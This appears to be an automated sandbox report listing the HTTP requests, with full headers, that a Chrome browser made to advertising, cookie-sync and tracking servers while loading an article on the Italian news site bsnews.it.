Source: global traffic	HTTP traffic detected: GET /tnc.min.js HTTP/1.1Host: js.tncid.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync/iframe?mt_uuid=e37d6605-2f8b-4a00-8c65-7b6f95886a26&no_iframe=1&exsync=https%3A%2F%2Ftrz.neodatagroup.com%2Fcm%3Fsid%3D1011%26pv%3DMEDIAMATH%26eid%3D%5BMM_UUID%5D%26rt%3Dimg%26rnd%3D436232701635&mt_exid=10082&source=mathtag HTTP/1.1Host: pixel.mathtag.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uuid=e37d6605-2f8b-4a00-8c65-7b6f95886a26
Source: global traffic	HTTP traffic detected: GET /?ap=smptf&it=22f9505a-d568-49e1-8952-cc5110fd590b&tp=ef&pos=0&loop=1&pb=1&rnd=1711615872181 HTTP/1.1Host: track.sunmedia.tvConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /index-monitoring-bbdc39c.js HTTP/1.1Host: cdn.pbstck.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ut/v3/prebid HTTP/1.1Host: ib.adnxs.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: icu=ChgIjq9kEAoYASABKAEwh9-UsAY4AUABSAEQh9-UsAYYAA..; uuid2=3287041831475129344
Source: global traffic	HTTP traffic detected: GET /index-refresh-bbdc39c.js HTTP/1.1Host: cdn.pbstck.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /openrtb/pbjs?s=844716 HTTP/1.1Host: htlb.casalemedia.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pbc/v1/cache HTTP/1.1Host: prebid.adnxs.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: icu=ChgIjq9kEAoYASABKAEwh9-UsAY4AUABSAEQh9-UsAYYAA..; uuid2=3287041831475129344
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=neodata&ttd_tpi=1 HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=a109dc60-dc7c-45e5-ab53-e2448a53420f; TDCPM=CAEYBSgCMgsIsoLWn9_D5zwQBTgB
Source: global traffic	HTTP traffic detected: GET /codesour/assets/codesour-logo.png HTTP/1.1Host: cdn.codesour.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rtb/bid?src=prebid_prebid_8.33.0 HTTP/1.1Host: ap.lijit.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ljt_reader=IZUTABZHDx9FBBjNRfKWNwm_
Source: global traffic	HTTP traffic detected: GET /codesour/bsnews/445.prod.js HTTP/1.1Host: cdn.codesour.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?c=o&m=multi HTTP/1.1Host: pub.admanmedia.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /geotarget/geocity.php?dnt=1 HTTP/1.1Host: services.sunmedia.tvConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ads/ga-audiences?t=sr&aip=1&_r=4&slf_rd=1&v=1&_v=j101&tid=UA-11020879-7&cid=30849489.1711615863&jid=988736763&_u=YADAAUAAAAAAACAAI~&z=36407948 HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=511=j8SQUTltnVU5cOAeyzqSxW-qHOakRuBHDQGLTGeceC9Z5rRzk5trMKb4CuZC_CFmc7KFwQcRJL-qGz8MvkkzMZmElvXAFWLO-TPZ9PMqBYA78ZAuaepnXIRHe-TAolVoW6Z7dQnqpgyX0m-TmS72bebAgoqZv5GkpRFUcZIw1Kk
Source: global traffic	HTTP traffic detected: GET /?ap=smptf&it=22f9505a-d568-49e1-8952-cc5110fd590b&tp=req&pos=0&loop=1&pb=1&rnd=1711615872208 HTTP/1.1Host: track.sunmedia.tvConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /prebid/v1 HTTP/1.1Host: prg.smartadserver.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pbw=%24b%3d16999%3b%24o%3d11100; vs=281855=5910291; TestIfCookie=ok; TestIfCookieP=ok; sasd=%24qc%3D1307002411%3B%24ql%3DUnknown%3B%24qt%3D152_0_0t%3B%24dma%3D511%3B%24qo%3D6; pid=7766515454130361199; sasd2=q=%24qc%3D1307002411%3B%24ql%3DUnknown%3B%24qt%3D152_0_0t%3B%24dma%3D511%3B%24qo%3D6&c=1&l&lo&lt=638472126794237323&o=1
Source: global traffic	HTTP traffic detected: GET /bao-csm/aps-comm/aps_csm.js HTTP/1.1Host: c.amazon-adsystem.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ex/ HTTP/1.1Host: s.richaudience.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pdid=2c9d0f98-4385-4c43-ba27-1zz1711615376; raibs=1
Source: global traffic	HTTP traffic detected: GET /universal/v1?supply_id=WYu2BXv1 HTTP/1.1Host: btlr.sharethrough.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: stx_user_id=e222cac2-a257-448a-96d5-9494eb4fc58c
Source: global traffic	HTTP traffic detected: GET /hb/ HTTP/1.1Host: shb.richaudience.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pdid=2c9d0f98-4385-4c43-ba27-1zz1711615376; raibs=1
Source: global traffic	HTTP traffic detected: GET /pv?sid=1011&rnd=436232701635&pv=omg&id=607&ad=197&rs=1280x1024&lg=en-US&tz=-60&ur=https%3A%2F%2Fwww.bsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&re=&co=24&pbs=true&cb=window._omgDmp.setNeoIdLastSync(%27@@neo_user_id@@%27);&neoid=31d088370c605bf HTTP/1.1Host: trz.neodatagroup.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cProfile=AQMdCINwxgW/AAAAAAAEAAABjpjbKGMAB2RlZmF1bHQ=
Source: global traffic	HTTP traffic detected: GET /6ccbc109824ae3014a36fd8993cc151d/?uid=e222cac2-a257-448a-96d5-9494eb4fc58c&gdpr=0 HTTP/1.1Host: sync.richaudience.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://sync.richaudience.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pdid=2c9d0f98-4385-4c43-ba27-1zz1711615376; raibs=1
Source: global traffic	HTTP traffic detected: GET /a/c HTTP/1.1Host: prebid.a-mo.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __amc=1_1711615879_1711615879; amuid2=10735680-48cc-46aa-8323-b54c7155938b; sd_amuid2=10735680-48cc-46aa-8323-b54c7155938b
Source: global traffic	HTTP traffic detected: GET /hb-api/prebid/v1?RefererUrl=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&PageUrl=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&PageReferrer=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&CanonicalUrl=https%3A%2F%2Fwww.bsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F HTTP/1.1Host: hb-api.omnitagjs.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ayl_visitor=b6fcc9c759d2693b00a026e6708e7344
Source: global traffic	HTTP traffic detected: GET /cache: Missing required parameter uuid
Source: global traffic	HTTP traffic detected: GET /encrypted-signals/encrypted-tag-g.js HTTP/1.1Host: invstatic101.creativecdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /movingup/generic/prod/adk-init.js HTTP/1.1Host: cdn.adkaora.spaceConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://bsnews.itsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=Bidswitch%2Cmartinai%2C4Info%2Cquantcast%2Cadelphic%2Cdynadmic%2Cportodsp%2Cappnexus%2Cbeeswax%2C_dmp_lotame%2Ctremornet%2Cindexexchange%2C_dmp_krux%2Cadtheorent%2CBidTheatre%2C1%2Cgoogle%2Cbucksense%2Cadgear%2CTubeMogul-GP%2Cscaleout%2Cemx%2Cthetradedesk%2Cbeachfront%2Cmadhive%2C_dmp_adobe%2Cstackadapt%2Cacuityads%2CRadiumOne%2Cmediamath%2Cbrightroll%2Cadvangelists%2CTapAd%2Crocketfuel%2C_google_dfp%2Cconversant%2Cdataxu%2Cblis%2Cadform%2CPulsepoint%2Clogicad%2Csimpli.fi%2Cactiveagent%2CVideology%2Cexponential%2Ccentro%2Cdeepintent%2C_dmp_turbine%2Cdemandbase&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&init=true&gdpr=0&gdpr_consent=1 HTTP/1.1Host: partners.tremorhub.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://bsnews.itSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tvid=5c99a009bd184d5ca3b7885003b720e3; tvv=1; tvrg_61036=1,1711615884
Source: global traffic	HTTP traffic detected: GET /beacon?informer=13426218 HTTP/1.1Host: ap.lijit.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ljt_reader=IZUTABZHDx9FBBjNRfKWNwm_
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=neodata_dmp&google_cm=&pv=dbm&sid=1011&rt=img&rnd=436232701635&google_tc= HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /usync/?cb=1711615879045&gdpr=0&gdpr_consent= HTTP/1.1Host: onetag-sys.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /lt/c/16589/sync.min.js HTTP/1.1Host: tags.crwdcntrl.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rtb/bid?src=prebid_prebid_8.33.0 HTTP/1.1Host: ap.lijit.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ljt_reader=IZUTABZHDx9FBBjNRfKWNwm_
Source: global traffic	HTTP traffic detected: GET /a9b03dc9bdef0bcb818e9c4110ca0368/?uid=cf63f4e3-1ddd-05e9-329a-db2fad5e45ad HTTP/1.1Host: sync.richaudience.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://us-u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pdid=2c9d0f98-4385-4c43-ba27-1zz1711615376; raibs=1
Source: global traffic	HTTP traffic detected: GET /?c=o&m=multi HTTP/1.1Host: pub.admanmedia.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /track/cmf/openx?oxid=2dcebd09-45e3-329f-69a7-5614801926e7&gdpr=0 HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://us-u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=a109dc60-dc7c-45e5-ab53-e2448a53420f; TDCPM=CAEYASABKAIyCwjY_OG338PnPBAFOAFaB25lb2RhdGFgAg..
Source: global traffic	HTTP traffic detected: GET /universal/v1?supply_id=WYu2BXv1 HTTP/1.1Host: btlr.sharethrough.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: stx_user_id=e222cac2-a257-448a-96d5-9494eb4fc58c
Source: global traffic	HTTP traffic detected: GET /prebid/v1 HTTP/1.1Host: prg.smartadserver.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pbw=%24b%3d16999%3b%24o%3d11100; vs=281855=5910291; TestIfCookie=ok; TestIfCookieP=ok; sasd=%24qc%3D1307002411%3B%24ql%3DUnknown%3B%24qt%3D152_0_0t%3B%24dma%3D511%3B%24qo%3D6; pid=7766515454130361199; sasd2=q=%24qc%3D1307002411%3B%24ql%3DUnknown%3B%24qt%3D152_0_0t%3B%24dma%3D511%3B%24qo%3D6&c=1&l&lo&lt=638472126794237323&o=1
Source: global traffic	HTTP traffic detected: GET /?gdpr=0&gdpr_consent= HTTP/1.1Host: csync.smilewanted.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /isyn?__st=iframe&gdpr=0&gdpr_consent=&us_privacy=1---_e=CpsBSglic25ld3MuaXRSC2Fhcy0yNzgyYTkxWghwYmExLjMuNGoJYnNuZXdzLml0-gEGOC4zMy4w6AIBiAOH35SwBqgDOuoDJDcwNzI4Mzc1LTIxNjMtNDE3Mi1hMmE5LWVjZGFkMTljMmM2ZKoEA0RDSLIFA1VTROoFB2Rlc2t0b3D6BQNwaHiqBwN3ZWLKBwlic25ld3MuaXTgBwE HTTP/1.1Host: sync.a-mo.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: amuid2=10735680-48cc-46aa-8323-b54c7155938b
